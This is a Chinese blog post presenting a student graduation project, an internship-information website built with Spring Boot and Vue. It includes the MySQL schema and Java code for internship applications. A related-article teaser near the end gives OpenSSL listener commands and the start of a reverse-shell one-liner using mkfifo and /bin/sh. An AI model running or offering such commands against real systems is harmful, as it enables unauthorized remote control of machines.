计算机毕业设计 高校实习信息发布网站的设计与实现 Javaweb项目 Java实战项目 前后端分离 文档报告 代码讲解 安装调试

🍊作者:计算机编程-吉哥
🍊简介:专业从事JavaWeb程序开发,微信小程序开发,定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事,生活就是快乐的。
🍊心愿:点赞 👍 收藏 ⭐评论 📝
🍅 文末获取源码联系

👇🏻 精彩专栏推荐订阅 👇🏻 不然下次找不到哟~
Java毕业设计项目~热门选题推荐《1000套》

目录

1.技术选型

2.数据库表结构

3.开发工具

4.功能

4.1【角色】

4.2【前台功能模块】

4.3【后台功能模块】

5.项目演示截图

5.1 前台登录

5.2 论坛

5.3 公告

5.4 企业

5.5 个人中心

5.6 实习申请

5.7 基础数据管理

5.8 简历管理

5.9 实习申请管理

5.10 就业分布统计报表

6.数据库文件设计

7.核心代码 

7.1 实习申请Controller

7.2 实习申请Service

7.3 实习申请ServiceImpl

7.4 实习申请DAO

8.参考文档


1.技术选型

springboot、mybatisplus、vue、elementui、html、css、js、mysql、jdk1.8

2.数据库表结构

14张 

3.开发工具

idea、navicat

4.功能

4.1【角色】

管理员、用户

4.2【前台功能模块】

  • 登录注册
  • 首页
  • 论坛
  • 公告
  • 企业
  • 职位实习
  • 个人中心

4.3【后台功能模块】

  • 登录
  • 首页
  • 个人中心
  • 管理员管理
  • 基础数据管理
  • 论坛管理
  • 公告管理
  • 简历管理
  • 企业管理
  • 职位实习管理
  • 实习申请管理
  • 用户管理
  • 轮播图管理

5.项目演示截图

5.1 前台登录

5.2 论坛

 

5.3 公告

 

5.4 企业

 

5.5 个人中心

 

5.6 实习申请

 

5.7 基础数据管理

 

5.8 简历管理

 

5.9 实习申请管理

 

5.10 就业分布统计报表

 

6.数据库文件设计


CREATE TABLE `forum` (`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',`forum_name` varchar(200) DEFAULT NULL COMMENT '帖子标题  Search111 ',`yonghu_id` int(11) DEFAULT NULL COMMENT '用户',`qiye_id` int(11) DEFAULT NULL COMMENT '企业',`users_id` int(11) DEFAULT NULL COMMENT '管理员',`forum_content` longtext COMMENT '发布内容',`super_ids` int(11) DEFAULT NULL COMMENT '父id',`forum_types` int(11) DEFAULT NULL COMMENT '帖子类型  Search111 ',`forum_state_types` int(11) DEFAULT NULL COMMENT '帖子状态',`insert_time` timestamp NULL DEFAULT NULL COMMENT '发帖时间',`update_time` timestamp NULL DEFAULT NULL COMMENT '修改时间',`create_time` timestamp NULL DEFAULT NULL COMMENT '创建时间 show2',PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=19 DEFAULT CHARSET=utf8 COMMENT='论坛';CREATE TABLE `gonggao` (`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键 ',`gonggao_name` varchar(200) DEFAULT NULL COMMENT '公告名称 Search111  ',`gonggao_photo` varchar(200) DEFAULT NULL COMMENT '公告图片 ',`gonggao_types` int(11) NOT NULL COMMENT '公告类型 Search111 ',`insert_time` timestamp NULL DEFAULT NULL COMMENT '公告发布时间 ',`gonggao_content` text COMMENT '公告详情 ',`create_time` timestamp NULL DEFAULT NULL COMMENT '创建时间 show1 show2 nameShow',PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8 COMMENT='公告';CREATE TABLE `jianli` (`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键 ',`yonghu_id` int(11) DEFAULT NULL COMMENT '用户',`jianli_uuid_number` varchar(200) DEFAULT NULL COMMENT '简历唯一编号 ',`jianli_name` varchar(200) DEFAULT NULL COMMENT '简历标题',`jianli_xingming` varchar(200) DEFAULT NULL COMMENT '姓名',`jianli_types` int(11) DEFAULT NULL COMMENT '求职意向 Search111',`jianli_xinzi` varchar(200) DEFAULT NULL COMMENT '期望工资 Search111',`jianli_xueli` varchar(200) DEFAULT NULL COMMENT '学历 Search111',`jianli_jingli` varchar(200) DEFAULT NULL COMMENT '工作经历 Search111',`sex_types` int(11) DEFAULT NULL COMMENT '性别',`jianli_file` varchar(200) DEFAULT NULL COMMENT '简历文件',`jianli_phone` varchar(200) DEFAULT NULL COMMENT '手机号',`jianli_photo` varchar(200) DEFAULT NULL COMMENT '照片',`jianli_address` varchar(200) DEFAULT NULL COMMENT '现在位置',`jiaoyu_text` text COMMENT '教育经历',`shixi_text` text COMMENT '实习或工作经历',`geren_text` text COMMENT '个人介绍',`create_time` timestamp NULL DEFAULT NULL COMMENT '创建时间  show3 listShow',PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=16 DEFAULT CHARSET=utf8 COMMENT='简历';CREATE TABLE `qiye` (`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键 ',`username` varchar(200) DEFAULT NULL COMMENT '账户 ',`password` varchar(200) DEFAULT NULL COMMENT '密码 ',`qiye_name` varchar(200) DEFAULT NULL COMMENT '企业名称 Search111 ',`qiye_types` int(11) DEFAULT NULL COMMENT '企业类型',`qiye_phone` varchar(200) DEFAULT NULL COMMENT '联系方式',`qiye_email` varchar(200) DEFAULT NULL COMMENT '邮箱',`qiye_photo` varchar(200) DEFAULT NULL COMMENT '企业logo',`qiye_chenglishijian_time` timestamp NULL DEFAULT NULL COMMENT '企业成立时间',`qiye_content` text COMMENT '企业介绍',`qiye_delete` int(11) DEFAULT NULL COMMENT '逻辑删除',`create_time` timestamp NULL DEFAULT NULL COMMENT '创建时间 show1 show2 photoShow ',PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8 COMMENT='企业';CREATE TABLE `shixijilu` (`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键 ',`yonghu_id` int(11) DEFAULT NULL COMMENT '用户',`shixijilu_uuid_number` varchar(200) DEFAULT NULL COMMENT '实习记录编号 ',`shixijilu_name` varchar(200) DEFAULT NULL COMMENT '实习单位名称',`shixizhiwei_types` int(11) DEFAULT NULL COMMENT '实习职位 Search111',`danwei_address` varchar(200) DEFAULT NULL COMMENT '单位位置',`danwei_lianxiren` varchar(200) DEFAULT NULL COMMENT '联系人',`danwei_lianxi_phone` varchar(200) DEFAULT NULL COMMENT '联系方式',`shixijilu_xinzi` decimal(10,2) DEFAULT NULL COMMENT '实习薪资',`shixijilu_kaishi_time` timestamp NULL DEFAULT NULL COMMENT '实习开始时间',`shixijilu_jieshu_time` timestamp NULL DEFAULT NULL COMMENT '实习结束时间',`shixijilu_content` text COMMENT '实习内容',`insert_time` timestamp NULL DEFAULT NULL COMMENT '上传时间',`create_time` timestamp NULL DEFAULT NULL COMMENT '创建时间  show3 listShow',PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=17 DEFAULT CHARSET=utf8 COMMENT='实习记录';CREATE TABLE `shixizhiwei` (`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键 ',`qiye_id` int(11) DEFAULT NULL COMMENT '企业',`shixizhiwei_name` varchar(200) DEFAULT NULL COMMENT '实习信息名称  Search111 ',`shixizhiwei_photo` varchar(200) DEFAULT NULL COMMENT '实习信息照片',`shixizhiwei_daiyu` varchar(200) DEFAULT NULL COMMENT '薪资待遇',`shixizhiwei_address` varchar(200) DEFAULT NULL COMMENT '上班地点',`lianxiren_name` varchar(200) DEFAULT NULL COMMENT '联系人',`shixizhiwei_phone` varchar(200) DEFAULT NULL COMMENT '实习电话',`shixizhiwei_types` int(11) DEFAULT NULL COMMENT '实习职位 Search111',`shixizhiwei_renshu_number` int(11) DEFAULT NULL COMMENT '实习人数',`shangxia_types` int(11) DEFAULT NULL COMMENT '是否上架 ',`shixizhiwei_content` text COMMENT '实习信息详情',`create_time` timestamp NULL DEFAULT NULL COMMENT '创建时间  show1 show2 photoShow',PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8 COMMENT='职位实习';CREATE TABLE `shixizhiwei_collection` (`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',`shixizhiwei_id` int(11) DEFAULT NULL COMMENT '职位',`yonghu_id` int(11) DEFAULT NULL COMMENT '用户',`shixizhiwei_collection_types` int(11) DEFAULT NULL COMMENT '类型',`insert_time` timestamp NULL DEFAULT NULL COMMENT '收藏时间',`create_time` timestamp NULL DEFAULT NULL COMMENT '创建时间 show3 photoShow',PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=19 DEFAULT CHARSET=utf8 COMMENT='职位收藏';CREATE TABLE `shixizhiwei_liuyan` (`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',`shixizhiwei_id` int(11) DEFAULT NULL COMMENT '职位',`yonghu_id` int(11) DEFAULT NULL COMMENT '用户',`shixizhiwei_liuyan_text` text COMMENT '留言内容',`reply_text` text COMMENT '回复内容',`insert_time` timestamp NULL DEFAULT NULL COMMENT '留言时间',`update_time` timestamp NULL DEFAULT NULL COMMENT '回复时间',`create_time` timestamp NULL DEFAULT NULL COMMENT '创建时间',PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=16 DEFAULT CHARSET=utf8 COMMENT='职位留言';CREATE TABLE `shixizhiwei_toudi` (`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键 ',`jianli_id` int(11) DEFAULT NULL COMMENT '简历',`shixizhiwei_id` int(11) DEFAULT NULL COMMENT '实习',`insert_time` timestamp NULL DEFAULT NULL COMMENT '投递时间',`shixizhiwei_toudi_yesno_types` int(11) DEFAULT NULL COMMENT '审核状态 Search111',`shixizhiwei_toudi_yesno_text` text COMMENT '投递回复',`shixizhiwei_toudi_shenhe_time` timestamp NULL DEFAULT NULL COMMENT '回复时间',`create_time` timestamp NULL DEFAULT NULL COMMENT '创建时间 show3 listShow',PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=32 DEFAULT CHARSET=utf8 COMMENT='实习申请';CREATE TABLE `token` (`id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键',`userid` bigint(20) NOT NULL COMMENT '学生id',`username` varchar(100) NOT NULL COMMENT '学生名',`tablename` varchar(100) DEFAULT NULL COMMENT '表名',`role` varchar(100) DEFAULT NULL COMMENT '角色',`token` varchar(200) NOT NULL COMMENT '密码',`addtime` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '新增时间',`expiratedtime` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '过期时间',PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8 COMMENT='token表';CREATE TABLE `users` (`id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键',`username` varchar(100) NOT NULL COMMENT '学生名',`password` varchar(100) NOT NULL COMMENT '密码',`role` varchar(100) DEFAULT '管理员' COMMENT '角色',`addtime` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '新增时间',PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COMMENT='管理员';CREATE TABLE `yonghu` (`id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',`username` varchar(200) DEFAULT NULL COMMENT '账户',`password` varchar(200) DEFAULT NULL COMMENT '密码',`yonghu_name` varchar(200) DEFAULT NULL COMMENT '用户姓名 Search111 ',`yonghu_photo` varchar(255) DEFAULT NULL COMMENT '头像',`yonghu_phone` varchar(200) DEFAULT NULL COMMENT '用户手机号',`yonghu_id_number` varchar(200) DEFAULT NULL COMMENT '用户身份证号 ',`yonghu_email` varchar(200) DEFAULT NULL COMMENT '邮箱',`sex_types` int(11) DEFAULT NULL COMMENT '性别 Search111 ',`yonghu_delete` int(11) DEFAULT '1' COMMENT '假删',`create_time` timestamp NULL DEFAULT NULL COMMENT '创建时间',PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8 COMMENT='用户';

7.核心代码 

7.1 实习申请Controller


package com.controller;/*** 实习申请* 后端接口* @author 计算机编程-吉哥* @email
*/
@RestController
@Controller
@RequestMapping("/shixizhiweiToudi")
public class ShixizhiweiToudiController {private static final Logger logger = LoggerFactory.getLogger(ShixizhiweiToudiController.class);private static final String TABLE_NAME = "shixizhiweiToudi";@Autowiredprivate ShixizhiweiToudiService shixizhiweiToudiService;@Autowiredprivate TokenService tokenService;@Autowiredprivate DictionaryService dictionaryService;//字典表@Autowiredprivate ForumService forumService;//论坛@Autowiredprivate GonggaoService gonggaoService;//公告@Autowiredprivate JianliService jianliService;//简历@Autowiredprivate QiyeService qiyeService;//企业@Autowiredprivate ShixizhiweiService shixizhiweiService;//职位实习@Autowiredprivate ShixizhiweiCollectionService shixizhiweiCollectionService;//职位收藏@Autowiredprivate ShixizhiweiLiuyanService shixizhiweiLiuyanService;//职位留言@Autowiredprivate YonghuService yonghuService;//用户@Autowiredprivate UsersService usersService;//管理员/*** 后端列表*/@RequestMapping("/page")public R page(@RequestParam Map<String, Object> params, HttpServletRequest request){logger.debug("page方法:,,Controller:{},,params:{}",this.getClass().getName(),JSONObject.toJSONString(params));String role = String.valueOf(request.getSession().getAttribute("role"));if(false)return R.error(511,"永不会进入");else if("用户".equals(role))params.put("yonghuId",request.getSession().getAttribute("userId"));else if("企业".equals(role))params.put("qiyeId",request.getSession().getAttribute("userId"));CommonUtil.checkMap(params);PageUtils page = shixizhiweiToudiService.queryPage(params);//字典表数据转换List<ShixizhiweiToudiView> list =(List<ShixizhiweiToudiView>)page.getList();for(ShixizhiweiToudiView c:list){//修改对应字典表字段dictionaryService.dictionaryConvert(c, request);}return R.ok().put("data", page);}/*** 后端详情*/@RequestMapping("/info/{id}")public R info(@PathVariable("id") Long id, HttpServletRequest request){logger.debug("info方法:,,Controller:{},,id:{}",this.getClass().getName(),id);ShixizhiweiToudiEntity shixizhiweiToudi = shixizhiweiToudiService.selectById(id);if(shixizhiweiToudi !=null){//entity转viewShixizhiweiToudiView view = new ShixizhiweiToudiView();BeanUtils.copyProperties( shixizhiweiToudi , view );//把实体数据重构到view中//级联表 简历//级联表JianliEntity jianli = jianliService.selectById(shixizhiweiToudi.getJianliId());if(jianli != null){BeanUtils.copyProperties( jianli , view ,new String[]{ "id", "createTime", "insertTime", "updateTime"});//把级联的数据添加到view中,并排除id和创建时间字段,当前表的级联注册表view.setJianliId(jianli.getId());}//级联表 职位实习//级联表ShixizhiweiEntity shixizhiwei = shixizhiweiService.selectById(shixizhiweiToudi.getShixizhiweiId());if(shixizhiwei != null){BeanUtils.copyProperties( shixizhiwei , view ,new String[]{ "id", "createTime", "insertTime", "updateTime"});//把级联的数据添加到view中,并排除id和创建时间字段,当前表的级联注册表view.setShixizhiweiId(shixizhiwei.getId());}//修改对应字典表字段dictionaryService.dictionaryConvert(view, request);return R.ok().put("data", view);}else {return R.error(511,"查不到数据");}}/*** 后端保存*/@RequestMapping("/save")public R save(@RequestBody ShixizhiweiToudiEntity shixizhiweiToudi, HttpServletRequest request){logger.debug("save方法:,,Controller:{},,shixizhiweiToudi:{}",this.getClass().getName(),shixizhiweiToudi.toString());String role = String.valueOf(request.getSession().getAttribute("role"));if(false)return R.error(511,"永远不会进入");Wrapper<ShixizhiweiToudiEntity> queryWrapper = new EntityWrapper<ShixizhiweiToudiEntity>().eq("jianli_id", shixizhiweiToudi.getJianliId()).eq("shixizhiwei_id", shixizhiweiToudi.getShixizhiweiId()).in("shixizhiwei_toudi_yesno_types", new Integer[]{1,2});logger.info("sql语句:"+queryWrapper.getSqlSegment());ShixizhiweiToudiEntity shixizhiweiToudiEntity = shixizhiweiToudiService.selectOne(queryWrapper);if(shixizhiweiToudiEntity==null){shixizhiweiToudi.setInsertTime(new Date());shixizhiweiToudi.setShixizhiweiToudiYesnoTypes(1);shixizhiweiToudi.setCreateTime(new Date());shixizhiweiToudiService.insert(shixizhiweiToudi);return R.ok();}else {if(shixizhiweiToudiEntity.getShixizhiweiToudiYesnoTypes()==1)return R.error(511,"有相同的待审核的数据");else if(shixizhiweiToudiEntity.getShixizhiweiToudiYesnoTypes()==2)return R.error(511,"有相同的审核通过的数据");elsereturn R.error(511,"表中有相同数据");}}/*** 后端修改*/@RequestMapping("/update")public R update(@RequestBody ShixizhiweiToudiEntity shixizhiweiToudi, HttpServletRequest request) throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException, InstantiationException {logger.debug("update方法:,,Controller:{},,shixizhiweiToudi:{}",this.getClass().getName(),shixizhiweiToudi.toString());ShixizhiweiToudiEntity oldShixizhiweiToudiEntity = shixizhiweiToudiService.selectById(shixizhiweiToudi.getId());//查询原先数据String role = String.valueOf(request.getSession().getAttribute("role"));shixizhiweiToudiService.updateById(shixizhiweiToudi);//根据id更新return R.ok();}/*** 审核*/@RequestMapping("/shenhe")public R shenhe(@RequestBody ShixizhiweiToudiEntity shixizhiweiToudiEntity, HttpServletRequest request){logger.debug("shenhe方法:,,Controller:{},,shixizhiweiToudiEntity:{}",this.getClass().getName(),shixizhiweiToudiEntity.toString());ShixizhiweiToudiEntity oldShixizhiweiToudi = shixizhiweiToudiService.selectById(shixizhiweiToudiEntity.getId());//查询原先数据shixizhiweiToudiEntity.setShixizhiweiToudiShenheTime(new Date());//回复时间shixizhiweiToudiService.updateById(shixizhiweiToudiEntity);//审核return R.ok();}/*** 删除*/@RequestMapping("/delete")public R delete(@RequestBody Integer[] ids, HttpServletRequest request){logger.debug("delete:,,Controller:{},,ids:{}",this.getClass().getName(),ids.toString());List<ShixizhiweiToudiEntity> oldShixizhiweiToudiList =shixizhiweiToudiService.selectBatchIds(Arrays.asList(ids));//要删除的数据shixizhiweiToudiService.deleteBatchIds(Arrays.asList(ids));return R.ok();}/*** 批量上传*/@RequestMapping("/batchInsert")public R save( String fileName, HttpServletRequest request){logger.debug("batchInsert方法:,,Controller:{},,fileName:{}",this.getClass().getName(),fileName);Integer yonghuId = Integer.valueOf(String.valueOf(request.getSession().getAttribute("userId")));SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//.eq("time", new SimpleDateFormat("yyyy-MM-dd").format(new Date()))try {List<ShixizhiweiToudiEntity> shixizhiweiToudiList = new ArrayList<>();//上传的东西Map<String, List<String>> seachFields= new HashMap<>();//要查询的字段Date date = new Date();int lastIndexOf = fileName.lastIndexOf(".");if(lastIndexOf == -1){return R.error(511,"该文件没有后缀");}else{String suffix = fileName.substring(lastIndexOf);if(!".xls".equals(suffix)){return R.error(511,"只支持后缀为xls的excel文件");}else{URL resource = this.getClass().getClassLoader().getResource("static/upload/" + fileName);//获取文件路径File file = new File(resource.getFile());if(!file.exists()){return R.error(511,"找不到上传文件,请联系管理员");}else{List<List<String>> dataList = PoiUtil.poiImport(file.getPath());//读取xls文件dataList.remove(0);//删除第一行,因为第一行是提示for(List<String> data:dataList){//循环ShixizhiweiToudiEntity shixizhiweiToudiEntity = new ShixizhiweiToudiEntity();shixizhiweiToudiList.add(shixizhiweiToudiEntity);//把要查询是否重复的字段放入map中}//查询是否重复shixizhiweiToudiService.insertBatch(shixizhiweiToudiList);return R.ok();}}}}catch (Exception e){e.printStackTrace();return R.error(511,"批量插入数据异常,请联系管理员");}}/*** 前端列表*/@IgnoreAuth@RequestMapping("/list")public R list(@RequestParam Map<String, Object> params, HttpServletRequest request){logger.debug("list方法:,,Controller:{},,params:{}",this.getClass().getName(),JSONObject.toJSONString(params));CommonUtil.checkMap(params);PageUtils page = shixizhiweiToudiService.queryPage(params);//字典表数据转换List<ShixizhiweiToudiView> list =(List<ShixizhiweiToudiView>)page.getList();for(ShixizhiweiToudiView c:list)dictionaryService.dictionaryConvert(c, request); //修改对应字典表字段return R.ok().put("data", page);}/*** 前端详情*/@RequestMapping("/detail/{id}")public R detail(@PathVariable("id") Long id, HttpServletRequest request){logger.debug("detail方法:,,Controller:{},,id:{}",this.getClass().getName(),id);ShixizhiweiToudiEntity shixizhiweiToudi = shixizhiweiToudiService.selectById(id);if(shixizhiweiToudi !=null){//entity转viewShixizhiweiToudiView view = new ShixizhiweiToudiView();BeanUtils.copyProperties( shixizhiweiToudi , view );//把实体数据重构到view中//级联表JianliEntity jianli = jianliService.selectById(shixizhiweiToudi.getJianliId());if(jianli != null){BeanUtils.copyProperties( jianli , view ,new String[]{ "id", "createDate"});//把级联的数据添加到view中,并排除id和创建时间字段view.setJianliId(jianli.getId());}//级联表ShixizhiweiEntity shixizhiwei = shixizhiweiService.selectById(shixizhiweiToudi.getShixizhiweiId());if(shixizhiwei != null){BeanUtils.copyProperties( shixizhiwei , view ,new String[]{ "id", "createDate"});//把级联的数据添加到view中,并排除id和创建时间字段view.setShixizhiweiId(shixizhiwei.getId());}//修改对应字典表字段dictionaryService.dictionaryConvert(view, request);return R.ok().put("data", view);}else {return R.error(511,"查不到数据");}}/*** 前端保存*/@RequestMapping("/add")public R add(@RequestBody ShixizhiweiToudiEntity shixizhiweiToudi, HttpServletRequest request){logger.debug("add方法:,,Controller:{},,shixizhiweiToudi:{}",this.getClass().getName(),shixizhiweiToudi.toString());Wrapper<ShixizhiweiToudiEntity> queryWrapper = new EntityWrapper<ShixizhiweiToudiEntity>().eq("jianli_id", shixizhiweiToudi.getJianliId()).eq("shixizhiwei_id", shixizhiweiToudi.getShixizhiweiId()).in("shixizhiwei_toudi_yesno_types", new Integer[]{1,2});logger.info("sql语句:"+queryWrapper.getSqlSegment());ShixizhiweiToudiEntity shixizhiweiToudiEntity = shixizhiweiToudiService.selectOne(queryWrapper);if(shixizhiweiToudiEntity==null){shixizhiweiToudi.setInsertTime(new Date());shixizhiweiToudi.setShixizhiweiToudiYesnoTypes(1);shixizhiweiToudi.setCreateTime(new Date());shixizhiweiToudiService.insert(shixizhiweiToudi);return R.ok();}else {if(shixizhiweiToudiEntity.getShixizhiweiToudiYesnoTypes()==1)return R.error(511,"您已经申请了该岗位的实习,请等待审核");else if(shixizhiweiToudiEntity.getShixizhiweiToudiYesnoTypes()==2)return R.error(511,"您已经通过了该岗位的实习,不能重复申请");elsereturn R.error(511,"表中有相同数据");}}}

7.2 实习申请Service

package com.service;import com.baomidou.mybatisplus.service.IService;
import com.utils.PageUtils;
import com.entity.ShixizhiweiToudiEntity;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import org.springframework.lang.Nullable;
import java.util.List;/*** 实习申请 服务类*/
public interface ShixizhiweiToudiService extends IService<ShixizhiweiToudiEntity> {/*** @param params 查询参数* @return 带分页的查询出来的数据*/PageUtils queryPage(Map<String, Object> params);}

7.3 实习申请ServiceImpl

package com.service.impl;/*** 实习申请 服务实现类*/
@Service("shixizhiweiToudiService")
@Transactional
public class ShixizhiweiToudiServiceImpl extends ServiceImpl<ShixizhiweiToudiDao, ShixizhiweiToudiEntity> implements ShixizhiweiToudiService {@Overridepublic PageUtils queryPage(Map<String,Object> params) {Page<ShixizhiweiToudiView> page =new Query<ShixizhiweiToudiView>(params).getPage();page.setRecords(baseMapper.selectListView(page,params));return new PageUtils(page);}}

7.4 实习申请DAO

package com.dao;import com.entity.ShixizhiweiToudiEntity;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import java.util.List;
import java.util.Map;
import com.baomidou.mybatisplus.plugins.pagination.Pagination;import org.apache.ibatis.annotations.Param;
import com.entity.view.ShixizhiweiToudiView;/*** 实习申请 Dao 接口** @author */
public interface ShixizhiweiToudiDao extends BaseMapper<ShixizhiweiToudiEntity> {List<ShixizhiweiToudiView> selectListView(Pagination page,@Param("params")Map<String,Object> params);}

8.参考文档

 

你可能还有感兴趣的项目👇🏻👇🏻👇🏻

更多项目推荐:计算机毕业设计项目

如果大家有任何疑虑,请在下方咨询或评论

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/106373.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Git 安装和配置教程:Windows / Mac / Linux 三平台详细图文教程,带你一次性搞定 Git 环境

Git是一款免费、开源的分布式版本控制系统&#xff0c;广泛应用于软件开发领域。随着开源和云计算的发展&#xff0c;Git已经成为了开发者必备的工具之一。本文将为大家介绍Git在Windows、Mac和Linux三个平台上的安装和配置方法&#xff0c;带你一次性搞定Git环境 Windows平台 …

mysql面试题47:MySQL中Innodb的事务实现原理

该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:Innodb的事务实现原理 InnoDB是MySQL中一种常用的存储引擎,它支持事务和行级锁等特性。以下是InnoDB事务实现的简要原理: 事务定义: 事务是指一…

面向C++模块的开源 IFC SDK

早在 VS2019 v16.10 版本的时候&#xff0c;我们就官宣了对 C 模块(以及几乎所有其他 C 20 特性)的全面支持&#xff0c;包括 MSVC 编译器工具集&#xff0c;静态分析&#xff0c;智能感知和调试器等&#xff0c;而实现模块需要将 C 代码实现为一种内部的临时表示形式。 今天&…

java 每种设计模式的作用,与应用场景

文章目录 前言java 每种设计模式的作用&#xff0c;与应用场景 前言 如果您觉得有用的话&#xff0c;记得给博主点个赞&#xff0c;评论&#xff0c;收藏一键三连啊&#xff0c;写作不易啊^ _ ^。   而且听说点赞的人每天的运气都不会太差&#xff0c;实在白嫖的话&#xff0…

机器学习之Sigmoid函数

文章目录 Sigmoid函数是一种常用的数学函数&#xff0c;通常用于将实数映射到一个特定的区间。它的形状类似于"S"形状曲线&#xff0c;因此得名。Sigmoid函数在机器学习、神经网络和统计学中经常被使用&#xff0c;主要用于二元分类和处理概率值。 Sigmoid函数的一般…

冲刺十五届蓝桥杯P0006平面切分

文章目录 题目思路代码总结 题目 平面切分 思路 这道题是一个思维题把&#xff0c;之前没有接触过平面几何的知识&#xff0c;做起来感觉还是比较难的&#xff0c;用到的set集合和自己创建一个类 首先我们知道&#xff0c;一根直线A是可以将平面切分成两块的&#xff0c;如…

Linux网络编程系列之服务器编程——阻塞IO模型

Linux网络编程系列 &#xff08;够吃&#xff0c;管饱&#xff09; 1、Linux网络编程系列之网络编程基础 2、Linux网络编程系列之TCP协议编程 3、Linux网络编程系列之UDP协议编程 4、Linux网络编程系列之UDP广播 5、Linux网络编程系列之UDP组播 6、Linux网络编程系列之服务器编…

【MySQL入门到精通-黑马程序员】MySQL基础篇-约束

文章目录 前言一、概述二、案例三、外键约束总结 前言 本专栏文章为观看黑马程序员《MySQL入门到精通》所做笔记&#xff0c;课程地址在这。如有侵权&#xff0c;立即删除。 一、概述 概念&#xff1a;约束是作用于表中字段上的规则&#xff0c;用于限制存储在表中的数据。目的…

Kafka 开启SASL/SCRAM认证 及 ACL授权(一)认证

Kafka 开启SASL/SCRAM认证 及 ACL授权(一)认证。 kafka安全涉及3部份:传输加密,用户认证与授权,ZK开启ACL(Zookeeper存储了kafka的元数据以及用户信息,默认不开启acl所有用户可改,内网环境机器不对外开放可考虑使用默认不开启ZK ACL)。 官网地址:https://kafka.ap…

文心一言:文心大模型 4.0 即将发布

本心、输入输出、结果 文章目录 文心一言:文心大模型 4.0 即将发布前言文心 4.0 的成本问题架构文心 4.0 是否可以对标 GPT-4文心4.0 会不会收费弘扬爱国精神文心一言:文心大模型 4.0 即将发布 编辑:简简单单 Online zuozuo 地址:https://blog.csdn.net/qq_15071263 前言 …

【算法练习Day21】组合剪枝

​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;练题 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 文章目录 组合剪枝总结&#xff1a; …

html设置前端加载动画

主体思路参考&#xff1a; 前端实现页面加载动画_边城仔的博客-CSDN博客 JS图片显示与隐藏案例_js控制图片显示隐藏-CSDN博客 1、编写load.css /* 显示加载场景 */ .loadBackGround{position: absolute;top: 0px;text-align: center;width: 100%;height: 100vh;background-c…

C# Thread.Sleep(0)有什么用?

一、理论分析 回答这个要先从线程时间精度&#xff08;时间片&#xff09;开始说起。很多参考书说&#xff0c;默认情况下&#xff0c;时间片为15ms 左右&#xff0c;但是这是已经过时的知识。在老的 Windows 操作系统里&#xff0c;应用程序模式时时间片 15ms 左右&#xff0…

Kafka SASL认证授权(五)ACL源码解析

Kafka SASL认证授权(五)ACL源码解析。 官网地址:https://kafka.apache.org/ 一、ACL检查流程解析 一起看一下kafka server的启动与监听流程: Kafka -> KafkaServer -> SocketServer、KafkaRequestHandler 其中KafkaServer做相关的初始化,包括SocketServer 与 han…

CSS复习笔记

CSS 文章目录 CSS1.概念2.CSS 引入方式3.选择器基础选择器:标签选择器类选择器id 选择器通配符选择器 复合选择器:**后代选择器****子代选择器****并集选择器****交集选择器-了解****伪类选择器** 结构伪类选择器&#xff1a;**:nth-child&#xff08;公式&#xff09;**伪元素…

使用OpenSSL的反弹shell

1、攻击机生成证书&#xff1a; openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…

《华为战略管理法:DSTE实战体系》作者谢宁老师受邀为某电力上市集团提供两天的《成功的产品管理及产品经理》内训。

​​ 近日&#xff0c;《华为战略管理法&#xff1a;DSTE实战体系》作者谢宁老师受邀为某电力上市集团提供两天的《成功的产品管理及产品经理》内训。 谢宁老师作为华为培训管理部特聘资深讲师和顾问&#xff0c;也是畅销书《华为战略管理法&#xff1a;DSTE实战体系》、《智慧…

在Linux中掌握不同的命令,让创建文件变得易如反掌

